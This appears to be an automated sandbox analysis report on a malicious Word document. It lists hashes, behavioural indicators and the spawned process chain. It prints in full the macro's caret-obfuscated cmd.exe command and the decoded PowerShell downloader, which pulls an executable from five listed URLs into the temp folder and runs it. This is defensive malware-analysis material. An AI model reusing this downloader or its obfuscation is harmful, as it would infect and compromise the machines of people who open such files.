Analysis
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max time kernel
142s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
26-05-2024 05:39
Behavioral task
behavioral1
Sample
747c9d7f8042899383819dbfa708255b_JaffaCakes118.doc
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
747c9d7f8042899383819dbfa708255b_JaffaCakes118.doc
Resource
win10v2004-20240226-en
General
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Target
747c9d7f8042899383819dbfa708255b_JaffaCakes118.doc
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Size
81KB
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MD5
747c9d7f8042899383819dbfa708255b
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SHA1
5ce6ac3e09c55780f26ceb1ae779dc96560d7f15
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SHA256
ff717fe800f0aaf182856e2f7cfda5ec0744d0f5f591fce6e6b07e67aecd8bcc
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SHA512
b9343ca089adb95d800ff6156392116b489e2cea7e4a5c77f38786fe4057d9c30c761a0d8d630d5185139f5ee59d0ab4b51d9b71888161b10d18a439248d8eae
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SSDEEP
1536:zijWrMocn1kp59gxBK85fB7+ajZhg5aPiAJv6jw6:zV41k/W48pjkL
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 1732 4972 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 47 4476 powershell.exe 50 4476 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4972 WINWORD.EXE 4972 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 4476 powershell.exe 4476 powershell.exe 4476 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4476 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 4972 WINWORD.EXE 4972 WINWORD.EXE 4972 WINWORD.EXE 4972 WINWORD.EXE 4972 WINWORD.EXE 4972 WINWORD.EXE 4972 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEcmd.exedescription pid process target process PID 4972 wrote to memory of 1732 4972 WINWORD.EXE cmd.exe PID 4972 wrote to memory of 1732 4972 WINWORD.EXE cmd.exe PID 1732 wrote to memory of 4476 1732 cmd.exe powershell.exe PID 1732 wrote to memory of 4476 1732 cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\747c9d7f8042899383819dbfa708255b_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4972 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /C"s^et ^PI^3=^W&&^s^e^t ^ZN^UW=^m&&^se^t ^dq^z=^iO^I&&^se^t ^5H^Mw=^$&&s^e^t ^h^a=n&&^se^t mS^j^o=n^s&&s^e^t O8r^q=e^a&&^se^t u^o^4=^p&&s^e^t ^h^k=N&&^s^et NrVj=@h^t^tp^:&&^se^t ^Snj^k=^d&&^se^t ^oe^Z^J= ^ ^ ^ &&^se^t q^0^k=^ak^}&&s^e^t N^H=^l&&^set B^g=^t&&^s^e^t ^AHl4=h^t^t&&^set ^z^d=^Hr^e&&^s^et ^P^Uu=^G^A&&^s^et ^4r^G=w^t&&s^e^t 5^t=^a&&^s^et nV^m^z=^,&&^se^t ^8^0v=^ &&^se^t ^DP^FZ=^'&&^s^e^t ^QR=ZRS&&s^e^t pCV=c&&^s^e^t ^UM=^o&&s^e^t L^s=^@^h&&^s^et ^z^l^p=}^ &&^s^e^t O^z=^ ^= &&^s^et ^3^ZdR=^d&&^se^t ^L^k^2^K=^@&&^s^e^t ^SR=^.t^y^p&&s^e^t UnN=m/^K^P&&s^e^t ^uj^P=o&&^s^e^t ^L^Dt=^$^j^i&&^s^e^t nR^l=^e&&s^e^t v^8^5=^E&&^s^e^t ^0m=://&&s^e^t ^T^Q=^e^s&&^s^et ^Q4=^DRn^G'^.&&s^e^t s^z^O=^l/&&^s^e^t ^LC^S=^3&&s^e^t ^2^H=^p^o&&^s^e^t ^U^H=^p&&s^e^t 4^U^D^8=^o&&^se^t ^Z^E^Xk=(^$&&^s^et ^7^9D=/&&^s^e^t ^5^P^o=^Wb&&^s^e^t V^M=^tr&&^s^et ^I^1v=u^d^s&&^s^et w^S^E==^ &&s^e^t a^7^m=^h&&set ^I^t^Z=^-c&&^se^t cb1=^t&&s^e^t ^3^J^A=^'&&^s^et ^t^y=^p:&&^s^et s^8=^=N&&s^e^t N^x=^p^ow&&s^e^t ^t^L^j=^s&&^se^t D^d^5=^.&&^se^t t^l=^h^{^}&&s^e^t ^S^xLC=^0)^;&&s^e^t ^7I^d=^$^d^P^f&&^s^et ^d^Z=()^;&&^s^et ^b^T= ^ &&^s^et ^4^hy=^ &&^s^et A^I^ET=)&&^se^t ^3^zcn=^-&&^se^t ^8^1^X=^s &&^s^et ^4f^o=^ &&^s^e^t ^a^erZ=^i&&^se^t v^d^uH=^a&&s^et ^8^PW=c^h^y&&^s^et ^sE^K^p=^P&&^se^t ^B^Q=m^s&&s^e^t n^9=t&&^s^et ^Ms^p^h=^;&&^s^e^t U^y=^f&&^s^e^t u^3^0=^ht&&s^e^t ^I^aJ=^'&&s^e^t 0^p=y{^$^j&&^s^e^t ^S^o^3=^b&&^se^t R^sc^D=^O&&^s^e^t 3^Z=^en^u^y&&^se^t n^3=^l^e^.&&^s^et ^P^D=^ &&^s^e^t ^I^k^qV=v&&^s^et ^op^k=^'&&^set lN=^p&&^s^e^t ^DT^LR=e^X&&^s^et a^oe^D=^m&&^se^t ^p^Y^o^D=^q&&^s^e^t i^m=H^j&&^s^e^t A^0Z^L=av^et&&s^e^t ^3^g^W^1=^;$&&^s^e^t 3S^B^M=^$^j&&^se^t b^HA^L=^=&&^s^et wtN=^G^e&&^se^t Q^LT^y=^l^htt^p^'&&^s^et ^dw9=^t^T^e&&^se^t n^W^L=^m/&&s^e^t c^9^M=^m&&^s^et ^D0=^1^;&&^se^t ^S^s=^d&&^s^et M^g^o=c^h&&^s^et ^3^x=^.^wr&&s^e^t ^W^wf=^5^Y^b&&^s^e^t R^Gv^Q=P&&s^e^t ^Il^M^q=^f.^s&&^s^et ^l^T^4=x^m&&s^e^t ^qN=6^K^p&&s^e^t ^B^DI^J=^ &&^s^et ^q^UGd=.co&&^s^e^t ^Dci^4=^e^'&&^se^t ^5^p^7=^in&&^s^e^t W^L^e=^m^ &&s^e^t C^8^f=^e&&s^e^t ^27=^A^eEc@&&^se^t ^S^i^t=n&&s^e^t ^Ur^Lz=^ &&s^e^t r^a=^t&&^s^et p^d^W=^$&&se^t ^Sp^D=v^t&&^s^et C^k^4=^e&&s^e^t n^tR=^o&&^s^e^t ^Bnr=^d&&s^e^t RVNp=^s&&^s^e^t ^uK^O^b=^.c^o&&^s^et mO^H^a=^b&&^se^t N^2^o=^h^e^l&&s^e^t s^b^9=^://^t^h&&^s^e^t ^h^3R=^s&&^se^t ^HXI='^,$^m&&^se^t ^tR^G^7=^en&&s^e^t V^d^l=^P&&^se^t ^w^K^0=^Hv&&^s^e^t ^t3=r&&s^e^t 4iY^2=^j^i^W&&^se^t a^O=^.i&&s^e^t 2^e=Rt^d)^{&&s^e^t RXV=^-c&&^s^e^t ^urM^o=f&&^se^t ^0QM^g=^o&&^s^e^t D^Y=w-^O^b^j&&s^e^t O^tz^Z=)&&^se^t ^qp^k=1&&^s^e^t l^T^b^p=ro&&s^et ^Tt^eJ=^t&&^s^et ^h^ijC=^h&&^s^e^t ^2Fh^Z=^'^@'&&s^e^t ^M^5=^i&&s^e^t Z^t=^p&&^s^et ^A^Y^k=(&&s^e^t ^M^hW=(&&s^e^t ^z^P=i^t^e(^$&&s^e^t ^P^G^T=^Y&&^se^t ^29=^b&&^s^et 4d^p=^W&&^s^et ^b^Uc=Hv&&^s^e^t M^w^l=;^b&&^se^t m^h^E=^P&&^s^et sp^5^K=^3C&&^s^et ^h3=^m&&^se^t ^h^a4^z=^x&&^s^et ^AG^J=^t&&s^e^t ^OE^Z=^t&&^s^e^t c^0=)^+'\n&&s^e^t ^ia=^e&&^se^t C^0^z^M=t^h(&&^s^e^t ^B^6cR=^G&&^s^e^t ^s^H^K^l=^I^O&&s^e^t C^s^Y=^$w&&^se^t r^HG^2=n&&^s^e^t ^LC=//^fas^h^i&&^s^e^t ^hs^g^5=^ &&s^e^t ^i^G^Q=c^a^tc&&s^e^t ^Wa=^t&&s^e^t ^zl=m^ ^'&&se^t ^0^xA=^jW^b^.re&&^s^e^t R^g^F^8=^.e&&^se^t ^wLV=y&&^s^e^t ^5^q=^.^l&&s^e^t ^0^TS^G=^w&&set ^s^p=^=&&^se^t ^Zn^6^a=^u&&s^e^t ^d^UN^z=^e&&^s^et ^p^bx=^.&&s^e^t ^5n^zy=^S&&^se^t P^YV=^e&&^se^t Z^7^6=^o&&^s^et H^Z=vur/&&s^e^t c^w^5=^m'^;&&^s^et ^0^xvt=^y&&^s^e^t u^E=^pe&&s^e^t ^H^P^o=$^d&&s^e^t ^W^EJN=^p://^o&&^se^t ^utX^l=8^Y&&s^e^t ^4^2^kn=.&&^s^et ^An7^8=^a&&^s^et ^2j=^$^j&&^s^e^t ^Z7^LH=^o&&^s^et c^D^PA=^'^ad&&s^e^t ^0^Ka=^K^t&&^s^e^t ^D1e^o=^t&&^s^et ^5qr=^p&&^se^t ^Am=^.&&^s^et ^A^8=^f&&^s^e^t ^Wu^h=^$^d^P&&^se^t pVG=^$&&^se^t ^3y^E=^.&&^se^t ^Q^kW=r&&^se^t CE^7^h=^s&&^se^t ^7V^Y^A=d^b^.s&&^s^et C^Db^Q=^ &&^se^t r^Y=^T&&^s^e^t ^wP^J=^ &&^se^t b^h=^e&&^s^e^t ^3C=r^s&&s^e^t ^8f=^b^d&&s^e^t ^i^qyU=^D^h^P&&^s^et ^Q1=c&&^s^et ^P^oc0=^.o&&s^e^t VtcG=Pr^oces&&^s^e^t ^4z^J=c^o&&s^e^t T^6=)^;&&s^e^t ^I^u6=c&&^se^t V^Lh^p=]^:^:&&^s^e^t q^3^Fv=^g&&^s^et C5z=^k&&^se^t nVc=^ &&^s^e^t ^0v=^tar&&^se^t ^d^q^9=^f^or&&^se^t t^6^UT=^i&&^se^t ^LW^a^p=^W&&s^e^t ^hln^D=^b^j^e&&set ^H^s2^8=l^it(&&^se^t V^J^ic=)^;^S&&^set r^l=/C&&^s^et ^O^PgC=c&&^se^t ^w^Q^TO=^t&&^s^e^t ^3yQ^o=^e(&&^s^e^t ^SF=c^i&&^s^e^t V^X=^ &&s^e^t b^e^f^U=^;&&s^e^t ^bp^1^e=^-&&^se^t HT^m^o=^t&&^s^et ^L^1=/&&se^t ^B^p=/&&^s^e^t r^w^px=^i^l&&^s^e^t ^wP^k=^m/&&^s^et ^zn=^a&&^s^e^t ^2H^qc=^$^j^i&&^s^e^t ^sW^y=.^op^en&&^s^e^t v^h=;^$R^t^d&&^s^e^t ^z^mc=^f&&s^e^t ^pI^ST=^dh&&s^e^t ^S^y^a=^W=([^S^y^s^te&&s^e^t ^T^6c^M=^x^m^l^2&&^s^e^t B^h^S^2=)^;&&^s^et ^zC^w=tr&&^se^t 2Np=^ &&^s^et ^Loj^q=^on^an&&^se^t ^B^8^Y^I=^t&&s^e^t T^K=^B^o^d&&^s^e^t N^w=^P^a^t&&^se^t r^F=^y&&^se^t r^I^i=s^e&&c^a^ll s^e^t hRUc=%N^x%%C^8^f%%^3C%%N^2^o%%N^H%%^B^DI^J%%C^s^Y%%^Sp^D%%b^HA^L%%^DP^FZ%%^QR%%^op^k%%v^h%%^s^p%%^3^J^A%%a^7^m%%^w^Q^TO%%^OE^Z%%Z^t%%s^b^9%%t^6^UT%%3^Z%%RVNp%%^SF%%^D1e^o%%^uK^O^b%%^wP^k%%^P^G^T%%^qN%%sp^5^K%%^I^k^qV%%NrVj%%^LC%%^Loj^q%%^pI^ST%%^Z7^LH%%a^oe^D%%^T^Q%%^AG^J%%r^F%%n^3%%^4z^J%%n^W^L%%^B^8^Y^I%%^0^xvt%%^uj^P%%^5^p^7%%H^Z%%^4r^G%%^I^1v%%^7^9D%%^LC^S%%i^m%%^p^Y^o^D%%^dq^z%%^z^d%%^L^k^2^K%%u^3^0%%n^9%%lN%%^0m%%^S^o^3%%mS^j^o%%q^3^Fv%%l^T^b^p%%^Zn^6^a%%u^o^4%%^8f%%^3y^E%%pCV%%n^tR%%UnN%%^P^Uu%%^DT^LR%%^27%%^AHl4%%^t^y%%^L^1%%^B^p%%^M^5%%^I^u6%%v^d^uH%%^Q^kW%%HT^m^o%%^5^q%%C5z%%r^l%%^W^wf%%^i^qyU%%L^s%%r^a%%cb1%%^W^EJN%%CE^7^h%%^An7^8%%^S^s%%^8^PW%%^q^UGd%%a^O%%s^z^O%%^utX^l%%^qp^k%%^Q4%%^5n^zy%%^U^H%%^H^s2^8%%^2Fh^Z%%T^6%%^2H^qc%%^S^y^a%%^ZN^UW%%^4^2^kn%%^s^H^K^l%%D^d^5%%N^w%%^h^ijC%%V^Lh^p%%wtN%%^dw9%%c^9^M%%^5qr%%V^d^l%%^zn%%C^0^z^M%%c^0%%^0^Ka%%R^g^F^8%%^h^a4^z%%^Dci^4%%B^h^S^2%%^2j%%4d^p%%^29%%V^X%%s^8%%C^k^4%%D^Y%%b^h%%^O^PgC%%^Tt^eJ%%nVc%%RXV%%Z^7^6%%^zl%%^B^Q%%^T^6c^M%%^Am%%^l^T^4%%Q^LT^y%%^3^g^W^1%%^Snj^k%%m^h^E%%^A^8%%O^z%%^h^k%%P^YV%%^0^TS^G%%^bp^1^e%%R^sc^D%%^hln^D%%^Q1%%^Wa%%C^Db^Q%%^I^t^Z%%^0QM^g%%W^L^e%%c^D^PA%%^UM%%^7V^Y^A%%V^M%%O8r^q%%c^w^5%%^d^q^9%%^d^UN^z%%5^t%%M^g^o%%^Z^E^Xk%%^h3%%^b^Uc%%^8^0v%%^a^erZ%%r^HG^2%%^wP^J%%pVG%%2^e%%^zC^w%%0^p%%^5^P^o%%^sW^y%%^M^hW%%^I^aJ%%^B^6cR%%v^8^5%%r^Y%%^HXI%%^w^K^0%%nV^m^z%%^S^xLC%%3S^B^M%%^PI^3%%mO^H^a%%^p^bx%%^t^L^j%%^tR^G^7%%^Bnr%%^d^Z%%^7I^d%%^P^oc0%%u^E%%^S^i^t%%^A^Y^k%%O^tz^Z%%b^e^f^U%%^H^P^o%%R^Gv^Q%%^urM^o%%^SR%%^ia%%^4^hy%%w^S^E%%^D0%%^Wu^h%%U^y%%^3^x%%^z^P%%^0^xA%%^h^3R%%^2^H%%^h^a%%r^I^i%%T^K%%^wLV%%A^I^ET%%^Ms^p^h%%^5H^Mw%%^3^ZdR%%^sE^K^p%%^Il^M^q%%A^0Z^L%%4^U^D^8%%^z^mc%%r^w^px%%^3yQ^o%%p^d^W%%4iY^2%%V^J^ic%%^0v%%B^g%%^3^zcn%%VtcG%%^8^1^X%%^L^Dt%%^LW^a^p%%M^w^l%%^t3%%nR^l%%q^0^k%%^i^G^Q%%t^l%%^z^l^p%%2Np%%^4f^o%%^b^T%%^Ur^Lz%%^hs^g^5%%^oe^Z^J%%^P^D%&&c^a^ll %hRUc%"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1732 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $wvt='ZRS';$Rtd='http://thienuyscit.com/Y6Kp3Cv@http://fashionandhomestyle.com/tyoinvur/wtuds/3HjqiOIHre@http://bnsgroupbd.com/KPGAeXAeEc@http://icart.lk/C5YbDhP@http://osadchy.co.il/8Y1DRnG'.Split('@');$jiW=([System.IO.Path]::GetTempPath()+'\nKt.exe');$jWb =New-Object -com 'msxml2.xmlhttp';$dPf = New-Object -com 'adodb.stream';foreach($mHv in $Rtd){try{$jWb.open('GET',$mHv,0);$jWb.send();$dPf.open();$dPf.type = 1;$dPf.write($jWb.responseBody);$dPf.savetofile($jiW);Start-Process $jiW;break}catch{}}3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4476
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4140 --field-trial-handle=2692,i,8678872182442199182,12502579059484928042,262144 --variations-seed-version /prefetch:81⤵PID:2260
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
4KB
MD5daf667dff839d90be2889f60640ef444
SHA1ea159d10aa7aaa6e6e41b952d245a2c29fe33b8e
SHA256746957e736d8e6772177756c4ffd8c12b088545398f762582e6b741025f0ccdd
SHA512439441ee7407c5163016190251deb6f72b50d59267821c9f4d7c2f7e32b78fc47594efff7aa68c996fe1666b276afd89918605ca255f9eaa16f89c0918c5dce0